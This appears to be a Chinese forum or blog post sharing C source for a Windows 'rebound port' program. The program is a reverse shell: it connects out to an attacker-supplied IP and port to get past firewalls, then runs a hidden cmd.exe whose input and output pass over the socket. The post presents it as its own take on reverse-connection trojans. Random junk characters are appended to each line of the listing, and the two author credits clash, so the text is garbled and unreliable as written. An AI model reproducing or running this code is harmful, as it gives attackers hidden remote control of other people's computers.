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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 VYG@_fd!x  
A \/~u"Y  
/* ============================== A@V$~&JCL5  
Rebound port in Windows NT g,,wG k  
By wind,2006/7 #9,8{ O"  
===============================*/ g+#<;Gbpe  
#include Xm#W}Y'  
#include Xg dBLb  
#pvq9fss,}  
#pragma comment(lib,"wsock32.lib") E;Z(v  
^KhJBM/Z  
void OutputShell(); Y`g oV  
SOCKET sClient; Ci`o;KVj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DNGyEC  
qPDNDkjDD  
void main(int argc,char **argv) Xb"i/gfxt  
{ lHM+<Z  
WSADATA stWsaData; XvI~"}  
int nRet; 9pLe8D  
SOCKADDR_IN stSaiClient,stSaiServer; x Lan1V  
OAXA<  
if(argc != 3) V0;"Qa@q  
{ 1jKpLTSs  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^lp=4C9  
return; aE~T!h  
} FX!KX/OE)  
|[`YGA4  
WSAStartup(MAKEWORD(2,2),&stWsaData); !)bZ.1o  
7O55mc>cF  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;@Zuet  
gTj,I=3$?e  
stSaiClient.sin_family = AF_INET; =@U5/J  
stSaiClient.sin_port = htons(0); OBWb0t5H?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'I,a 29  
e]~p:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \c2x udU  
{ cZVx4y%kz  
printf("Bind Socket Failed!\n"); \,13mB6  
return; '8 .JnCg  
} [FBS|v#T  
NK0'\~7&  
stSaiServer.sin_family = AF_INET; h$8h@2%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6{6hz 8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &~*](Ma  
_Q+c'q Zkl  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8H7#[?F  
{ (\ab%M   
printf("Connect Error!"); }+@!c%TCx~  
return; l8G1N[  
} k]p|kutQCy  
OutputShell(); vn}m-U XA*  
} Va )W[I  
%`i*SF(gV  
void OutputShell() 3dN`Q:1R9  
{ D$>!vD'  
char szBuff[1024]; 8i',~[  
SECURITY_ATTRIBUTES stSecurityAttributes; I8XP`Ccq  
OSVERSIONINFO stOsversionInfo; qur2t8gnxq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -riX=K>$  
STARTUPINFO stStartupInfo; $b`nV4p  
char *szShell; ~dS15E4-Pp  
PROCESS_INFORMATION stProcessInformation; Bz/ba *  
unsigned long lBytesRead; 3)WfBvG  
nP%U<$,+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S%- kN;  
( v*xW.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _:[@zxT<x  
stSecurityAttributes.lpSecurityDescriptor = 0; xt|^~~ /  
stSecurityAttributes.bInheritHandle = TRUE; -=5~h  
#LR4%}mg  
!q+ #JW  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !7DDPJ~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LK DfV  
UOb` @#  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]@ruizb8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M P8Sd1_=  
stStartupInfo.wShowWindow = SW_HIDE; ^]sb=Amw  
stStartupInfo.hStdInput = hReadPipe; x'g4DYl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -J3~j kf  
(RFH.iX  
GetVersionEx(&stOsversionInfo); NK qI x  
4s 7 RB  
switch(stOsversionInfo.dwPlatformId) wQG?)aaM  
{ vv.E6D^x(  
case 1: ]EKg)E  
szShell = "command.com"; [gT}<W  
break; U~D~C~\2;  
default: 'Q=;I  
szShell = "cmd.exe"; ^=eC1 bQA  
break; y"yo\IDW  
} 1)k+v17]f5  
8?iI;(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S]fu M%  
5, $6mU#=  
send(sClient,szMsg,77,0); TVNgj.`+u!  
while(1) A,F~*LXm  
{ :(]fC~G~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); p q`uB  
if(lBytesRead)  ,]EhDW6  
{ Mz&/.A  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l:'#pZ4T  
send(sClient,szBuff,lBytesRead,0); ( unmf,y  
} <\O+  
else - )(5^OQ  
{ A'#d:lOA  
lBytesRead=recv(sClient,szBuff,1024,0); -gvfz&Lz  
if(lBytesRead<=0) break; ?# w} S%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v \i"-KH  
} OTF/Pu$  
} X.>=&~[  
fJlNxdVr  
return; n5=U.r  
}
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